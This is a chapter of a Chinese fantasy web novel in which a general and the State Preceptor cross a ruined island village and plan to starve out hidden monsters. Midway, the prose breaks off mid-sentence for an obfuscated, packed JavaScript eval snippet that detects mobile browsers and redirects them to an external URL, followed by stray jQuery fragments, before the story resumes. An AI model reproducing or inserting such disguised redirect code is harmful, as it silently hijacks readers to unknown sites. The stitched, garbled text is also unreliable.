檀妄生看着她。


    她就站在自己身边，披着略微宽松的白色狐裘，肩背挺直，不曾显露出一丝卧床多日的病态。当她望着下方那一排排屋脊时，他试图从那双眼睛里找出点类似于兴奋的情感，哪怕一闪而过。但毫无收获。


    他只看到了一如往常的平和，以及几分沉静的庄重。这当中没有一丁点刻意伪装出的浮夸感。仿佛她真的对这座渔村所发生的惨剧感到同情，也对那些逝去的生命深感惋惜。


    “……有时我会想，”檀妄生收回目光，望向那片死寂沉沉的村落，说，“如果当初我听了老头子的话，收敛一点，老老实实做个懂礼谦和的臣子，是不是就不会落得今日这种处境了。”


    “……将军掌握着檀家火铳之术的核心，又是镇守边境的统帅，本就身份特殊。”萧明灿说，“就是要让所有人知道，守护北洛的竟然是个随时会在朝堂上发疯的怪人，他们才会对将军惶恐不安，避之不及，而不是在宫中传些离间君臣的话……所以，”


    她似乎认真想了一下，而后道：“在我看来，这恰恰保护了将军，让将军能利用那股只想要命的疯劲在皇上和太傅之间斡旋。”


    檀妄生笑了笑，“国师觉得，我是为了保护檀家和手里握着的东西，才会装成一个随心所欲的疯子？”


    萧明灿抬起视线，目光轻轻掠向他颈前那道伤疤，“更像是本性使然。”


    “那国师呢？”檀妄生问，“国师也是本性如此吗？”


    “将军觉得呢？”


    “……这个嘛，”檀妄生望向远处，似乎想到了什么，忽然说：“国师知道吗，三年前，当我们刚踏上这座岛时，正好赶上了一年也就只有几次的海雾，你只能看清五步之内的东西。那些怪物在我们登岛后的第二天就出现了，但在浓雾里，我们最初只以为那是只野兽。”


    萧明灿听着他的话，说：“野兽远比怪物要好对付得多。”


    “所以，我们最开始只能住在荒村边缘。”檀妄生回忆着说，“它们在‘保护自己’这方面上很聪明，或者说很识趣。当有官员在岛上寻察时，它们根本不会露面，偶尔会有一两个巡逻官兵失踪的情况，但大多数人会把这推测为不慎坠崖，或是其他意外。他们试图找过同伴，最终一无所获。”


    檀妄生朝着前方的村子示意。


    “于是，他们看着那些破败的屋子，想起了曾经让世外桃源一样的地方短短一个月内成为废弃荒村的原因。那些鬼怪之说，诅咒，疫病……”他笑着耸耸肩，“当你看到这种地方，总是会不由自主地想象这里是不是真的会有那种拉人陪葬的怨鬼。而当这种‘偶尔无端失踪也找不到尸体’的意外发生到第四次时，他们就放弃了登岛。”


    萧明灿知道这一点。毕竟那时根本没人会想象到世上还有这种怪物存在，更不会联想到那次爆发的营啸竟和渔岛那场“瘟疫”有关。对于周围海上巡哨的官兵来说，它只是座普通又险峻的无人荒岛。


    檀妄生说：“那些官兵只是坐船在海岛附近巡视一圈，确保没遇到什么可疑船只出现、那里不会成为水匪的窝点，就算完成了任务。”


    萧明灿温和地倾听着。


    “所以，这就导致了，他们给我们的海岛村落分布图就像是敌人调包后送来的‘陷阱’一样——几乎图上标注出的所有能进入的洞穴、看起来很坚固的屋子，都是那群怪物的巢穴。我们为此折了不少人。”


    檀妄生对萧明灿说：“我们当时被浓雾困在了海岛边缘的屋子里，那地方简直破烂不堪，怪物稍一用力就能撞开房门，而且又没办法种菜和养猪。所以，哪怕那几天浓雾不断，我们也必须尽快动身，去找到适合生活的地方。”


    萧明灿缓缓点了点头，“就像前两批押送队伍一样。”


    檀妄生说：“我们花了整整两个月的时间才摸清那附近的洞穴，哪些地方难以踏足，哪些地方需要毁掉，以防怪物藏身。以及，哪些地方适合当作引诱怪物的陷阱。”


    他们走下坡道旁的石阶。萧明灿看着两侧破败的房屋，这里曾是怪物在黑夜里偷偷栖息的巢穴，发生过数次鲜血四溅的围杀，尖叫声在沉重的院墙间回荡，留下难以褪去的暗红色痕迹。而如今，这里连老鼠跑窜的影子都没有，只有几扇破损的房门随风轻轻摆动，像是几缕不愿离开的残魂。


    “这就是乐趣所在。”


    萧明灿听着他说道，忽然觉得这有点像在听主人兴致蛊然地介绍自家府邸。


    “最开始，你的眼前只有一层迷雾，你什么也看不清，更不知道往前走会发生什么。于是，你会从眼前的一些微小的细节开始着手。比如第四步的石头，这意味着不远处会是断崖。比如第十步的血迹，你知道有怪物不慎受伤，并且夜里还在这附近游荡过。”


    他拎着火铳，稍稍放缓了步子，等着国师。


    “你一步步走下去，试图拨开迷雾，也许下一步就是断崖，又或是误闯进怪物的老巢。但也许下一步就能发现几间没那么破败的屋子，旁边兴许还有村民留下的沃土……”他微笑着耸肩，“谁知道呢？这就像是探寻宝藏，又或是一场场开拓疆土的战争，无论过程还是结果，都足够吸引人。”


    “……所以，这就是我在将军眼中的样子吗？”萧明灿好奇地看着他，“就像一座充满未知和危险的海岛？”


    “不，”檀妄生嘴角上扬笑了笑，“我想说的是，国师是一个有趣的人。”


    他们穿过坐落半山的荒村，走下一段不算长的石阶。两侧山上的树木逐渐变得干瘦、枯燥，尖细的树枝伸向四周，像是话本里那种被异怪吸走了魂魄的干尸，最边缘的那片房屋亦是如此。天色渐渐转亮，苍灰色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054030|157334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的日光映着那些布满铁弹和刀痕的墙壁。


    在他们经过时，一块断裂的瓦片从屋顶滑落，压塌了缝隙里长出的杂草。


    “……但那些怪物会拖走食物。”檀妄生打量着周围，忽然提起了那个计划，“它们虽然习惯性地游荡在这，但也因此丧命了不少‘人’，即便再怎么把这种习惯刻进本能，在‘保护性命’面前，它们也不会过来，尤其是那些生命至上的‘孩子’。哪怕饿到了极致，只要有一个同类活着，说不定就会把食物带走，送到某个巢穴里。”


    “那就让它们带不走。”萧明灿拢着狐裘，“这很简单，我们只需要一些很容易倾洒的食物，比如装在盘子里的菜，或者是一小碗粥。它们选择的洞穴大都陡峭狭窄，以它们攀登的速度，很容易让饭菜倾洒。”


    几人闻言下意识看向屋子。几乎每一家都会选择把桌子放在窗边。透过断裂的木窗，能看到桌上来不及收拾的碗筷、积了灰的茶盏，又或是几册话本、破旧的渔网，它们定格在沾着血迹的窗框里，像是一幅幅古老的画。


    “人不吃饭可以活多久，六天？七天？”萧明灿平静地说：“也许它们在某些方面的确异于常人，但最多不会超过十五天。十五天，我们就有机会让那些怪物走出巢穴。比起漫无目的或损失人手去寻找洞穴，这个计划对我们来说已经足够划算。”


    檀妄生仔细想了想，说：“我们发现那个洞穴的时候，它们的‘食物’的确已经所剩无几。看来，只要我们大致弄清那几个‘孩子’生前住的地方，应该就行……”


    他话音渐渐弱了下去，微微侧头，看向山上的枯树，食指始终搭着扳扣。


    言生也注意到了什么，皱眉瞄了一眼旁边的小径，“……没错，我们找到洞穴时，那群怪物正在吃最后的那具……如今洞穴已经被我们摧毁，又过了两天，按理说，它们应该会选择出来觅食……可为什么今夜这么安静？还是在这种薄雾天里……一只也没有？”


    身后的枯树丛隐约传来轻微的沙沙声。萧明灿没有回头。那是潜藏在林子里负责保护檀妄生的部下。而他们的存在恰巧也说明了林中的确没有任何可疑人影。


    没有人说话。几人不约而同加快了速度。冷风呼啸着迎面吹过，支在木栏边的铁锹倾倒，砸向旁边一摞烧火用的木棍。他们没有理会这点预兆般的阻拦，跨过滚落眼前的木棍，穿过曾被鲜血染红的石板路，走出荒村。


    仍旧一片安静。


    附近的枯树渐渐被礁石取代，海浪声和风声撞在一起。不远处，两艘足有三层楼高的战船停在岸边……不，准确来说，是停在海岛附近。因为怪物的原因，他们尽力远离了海岸，停在浅海里。


    船灯在苍白的天色下闪着暗淡红光。


    今日是“五日期限”的最后一天。


    船上空无一人。